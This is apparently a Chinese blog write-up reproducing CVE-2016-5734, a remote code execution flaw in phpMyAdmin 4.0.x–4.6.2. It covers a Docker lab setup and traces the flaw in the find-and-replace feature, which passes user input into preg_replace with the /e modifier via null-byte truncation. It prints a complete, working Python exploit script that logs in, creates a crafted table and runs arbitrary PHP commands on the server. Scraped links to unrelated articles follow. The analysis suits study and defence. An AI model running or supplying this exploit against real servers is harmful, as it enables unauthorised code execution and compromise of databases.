CVE-2016-5734

漏洞简介

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。

在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

以下版本受到影响:

  • 4.0.10.16之前4.0.x版本
  • 4.4.15.7之前4.4.x版本
  • 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)

环境搭建

运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:

  1. docker-compose up -d

启动后,访问http://your-ip:8080,即可看到phpMyAdmin的登录页面。使用root:root登录。

漏洞复现

使用poc进行复现,-u指定用户名,-p指定登录密码,-d指定用户创建的表名, -c为将作为PHP代码执行的命令

  1. python3 poc.py -c 'system(ls);' -u root -p root -d test http://192.168.130.19:8080/

成功执行命令之后会创建一个名为prgpwn的表

漏洞分析

漏洞成因

Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。

  1. preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  1. $pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
  2. $replacement: 用于替换的字符串或字符串数组。
  3. $subject: 要搜索替换的目标字符串或字符串数组。
  4. $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
  5. $count: 可选,为替换执行的次数。

该函数的返回值:当$subject为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。

  • 正则表达式修正符:

因为$pattern中指定的是要搜索的模式字符串,一般使用的是正则表达式,正则表达式中存在修正符,像/i 就是指定取消大小写敏感等。但是其中一个修正符 “/e”,在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。

因此这将会导致php代码执行:

漏洞触发

首先找到preg_replace()函数的调用位置: 发现是在 /libraries/TableSearch.class.php 文件中

可以看到 _getRegplaceRows()函数中 ,将参数find传入,并且将参数find作为preg_replace()函数的第一个参数使用。要构造payload 就需要将这三个参数 findreplaceWithrow[0]全部溯源查看。首先对_getRegplaceRows函数进行溯源:

getRegplaceRowsgetReplacePreview 这个类的方法所调用,并且参数find与参数replacement都是经过该方法所传递的,再对这个函数进行溯源;

发现getRegplacePreviewtbl_find_replace.php中使用,并且 参数findreplaceWith经POST方法进行传递。至此参数与函数溯源完毕。

前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能。该功能是针对某一数据库中的数据表进行的查询功能:

其中 “查找“ 的参数就是find 。“替换为” 的参数就是replaceWith

现在针对这两个的参数都寻找到了,就剩下 第三个参数了,继续寻找。第三个参数为 row[0]。首先看到这个参数为一数组,猜想是由SQL语句查询并返回的第一个值。找到row[0],接着回溯result参数,其指向Sql_query

回溯$Sql_query,其下的SQL语句可理解为:

  1. SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname RLIKE $find COLLATE $charset_bin GROUP BY $columnname ORDER BY $column ASC;

并将这个查询后的值作为键值对,把键值对的第一个值给了 preg_replace()函数的第三个参数。

PMA_TableSearch该类的一个析构方法,在创建这个对象的同时执行该方法;

接着回溯,可以看到漏洞触发的 tbl_find_replace.php 中引用了这个 PMA_TableSearch

创建了 $table_search 对象。而在这里将 dbtable 这两个参数赋值。

回溯这两个参数发现在 /libraries/common.inc.php 中存在定义,全局寻找该函数可以发现通过REQUEST方法来接收变量并将其设置为全局变量。

该漏洞触发点,是在一个数据库表中操作而实现的,所以说,POC中是先创建数据表与列名,然后在进行参数的传递,这里可以直接将这个dbtable 直接作为参数所提交,创建的数据库为test,数据表为"prgpwn" 该表中的first列 的值为“0/e” ,该值也就是通过$sql_qury sql语句中查询得到的 $row[0]

其中find传递的参数中包含 %00 将后面的反斜杠给截断。

最终执行时效果类似于:

poc如下:

  1. #!/usr/bin/env python
  2. """cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
  3. Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
  4. CVE: CVE-2016-5734
  5. Author: https://twitter.com/iamsecurity
  6. run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
  7. """
  8. import requests
  9. import argparse
  10. import sys
  11. __author__ = "@iamsecurity"
  12. if __name__ == '__main__':
  13. parser = argparse.ArgumentParser()
  14. parser.add_argument("url", type=str, help="URL with path to PMA")
  15. parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
  16. parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
  17. parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
  18. parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
  19. parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
  20. arguments = parser.parse_args()
  21. url_to_pma = arguments.url
  22. uname = arguments.user
  23. upass = arguments.pwd
  24. if arguments.dbs:
  25. db = arguments.dbs
  26. else:
  27. db = "test"
  28. token = False
  29. custom_table = False
  30. if arguments.table:
  31. custom_table = True
  32. table = arguments.table
  33. else:
  34. table = "prgpwn"
  35. if arguments.cmd:
  36. payload = arguments.cmd
  37. else:
  38. payload = "system('uname -a');"
  39. size = 32
  40. s = requests.Session()
  41. # you can manually add proxy support it's very simple ;)
  42. # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
  43. s.verify = False
  44. sql = '''CREATE TABLE `{0}` (
  45. `first` varchar(10) CHARACTER SET utf8 NOT NULL
  46. ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  47. INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
  48. '''.format(table)
  49. # get_token
  50. resp = s.post(url_to_pma + "/?lang=en", dict(
  51. pma_username=uname,
  52. pma_password=upass
  53. ))
  54. if resp.status_code is 200:
  55. token_place = resp.text.find("token=") + 6
  56. token = resp.text[token_place:token_place + 32]
  57. if token is False:
  58. print("Cannot get valid authorization token.")
  59. sys.exit(1)
  60. if custom_table is False:
  61. data = {
  62. "is_js_confirmed": "0",
  63. "db": db,
  64. "token": token,
  65. "pos": "0",
  66. "sql_query": sql,
  67. "sql_delimiter": ";",
  68. "show_query": "0",
  69. "fk_checks": "0",
  70. "SQL": "Go",
  71. "ajax_request": "true",
  72. "ajax_page_request": "true",
  73. }
  74. resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
  75. if resp.status_code == 200:
  76. if "success" in resp.json():
  77. if resp.json()["success"] is False:
  78. first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
  79. error = first[:first.find("</code>")]
  80. if "already exists" in error:
  81. print(error)
  82. else:
  83. print("ERROR: " + error)
  84. sys.exit(1)
  85. # build exploit
  86. exploit = {
  87. "db": db,
  88. "table": table,
  89. "token": token,
  90. "goto": "sql.php",
  91. "find": "0/e\0",
  92. "replaceWith": payload,
  93. "columnIndex": "0",
  94. "useRegex": "on",
  95. "submit": "Go",
  96. "ajax_request": "true"
  97. }
  98. resp = s.post(
  99. url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
  100. )
  101. if resp.status_code == 200:
  102. result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
  103. if len(result):
  104. print("result: " + result)
  105. sys.exit(0)
  106. print(
  107. "Exploit failed!\n"
  108. "Try to manually set exploit parameters like --table, --database and --token.\n"
  109. "Remember that servers with PHP version greater than 5.4.6"
  110. " is not exploitable, because of warning about null byte in regexp"
  111. )
  112. sys.exit(1)

CVE-2016-5734 复现的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. CVE 2019-0708漏洞复现防御修复

    CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...

  3. CVE 2019-0708 漏洞复现+

    PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...

  4. CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

    前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...

  5. [漏洞复现] CVE-2017-11882 通杀所有Office版本

    此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行. 举个例子,如果黑客利用这个漏洞,构造带 ...

  6. CVE-2018-8420 漏洞复现

    影响的 Windows 版本: Microsoft Windows 10 Version 1607 for 32-bit SystemsMicrosoft Windows 10 Version 160 ...

  7. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  8. [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]

    简介  原题复现:  考察知识点:反序列化.数组绕过  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...

  9. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  10. HDU 5734 Acperience (公式推导) 2016杭电多校联合第二场

    题目:传送门. #include <iostream> #include <algorithm> #include <cstdio> #include <cs ...

随机推荐

  1. 每日一题:vue3自定义指令大全(呕心沥血所作,附可运行项目源码)

    1.VUE常用指令大全 本项目所有指令均为全局注册,使用时直接在组件中使用即可. 指令目录:src/directives 页面目录:src/views 具体可查看源码 1.1 权限指令 封装一个权限指 ...

  2. Java 21的StringBuilder和StringBuffer新增了一个repeat方法

    发现Java 21的StringBuilder和StringBuffer中多了repeat方法: /** * @throws IllegalArgumentException {@inheritDoc ...

  3. MySQL的sql_mode设置导致报错1292

    在MySQL8.0的一个PXC集群中,默认的sql_mode设置如下: select @@sql_mode; +-------------------------------------------- ...

  4. openssl加解密实战

    一.概念 1.加密有两种类型 密钥加密(secret-key encryption)使用相同的密钥进行加密和解密,也叫对称加密 公钥加密(public-key encryption)使用不同的密钥进行 ...

  5. 2023-10-14:用go语言,给定 pushed 和 popped 两个序列,每个序列中的 值都不重复, 只有当它们可能是在最初空栈上进行的推入 push 和弹出 pop 操作序列的结果时, 返回

    2023-10-14:用go语言,给定 pushed 和 popped 两个序列,每个序列中的 值都不重复, 只有当它们可能是在最初空栈上进行的推入 push 和弹出 pop 操作序列的结果时, 返回 ...

  6. 【Unity3D】Shader Graph节点

    1 前言 ​ Shader Graph 16.0.3 中有 208 个 Node(节点),本文梳理了 Shader Graph 中大部分 Node 的释义,官方介绍详见→Node-Library. ​ ...

  7. Redis 6 学习笔记 1 —— NoSQL数据库介绍,Redis常用数据类型

    NoSQL数据库介绍(了解) 技术的分类1.解决功能性的问题:Java.Jsp.RDBMS.Tomcat.HTML.Linux.JDBC.SVN,2.进一步地,解决系统功能扩展性的问题:Struts. ...

  8. CF1854E Games Bundles 题解

    乱搞题 设个 \(dp[i]\) 表示和为 \(i\) 的子序列个数,那么转移是容易的, \(dp[j]+=dp[j-i]\) ,然后就判下 \(dp[60]+dp[60-i]\) 是否大于 \(m\ ...

  9. c#装饰器模式详解

    基础介绍:   动态地给一个对象添加一些额外的职责.适用于需要扩展一个类的功能,或给一个类添加多个变化的情况.   装饰器,顾名思义就是在原有基础上添加一些功能.   大家都只知道如果想单纯的给原有类 ...

  10. ubuntu系统安装到U盘便捷启动

    1.前言 实现u盘系统即插即用,便捷带走.这里需要使用到VM虚拟机进行安装,这里选择64位的ubuntu系统. 2.运行VM虚拟机 以管理员运行VM虚拟机,创建一个ubuntu系统,然后选中相关的镜像 ...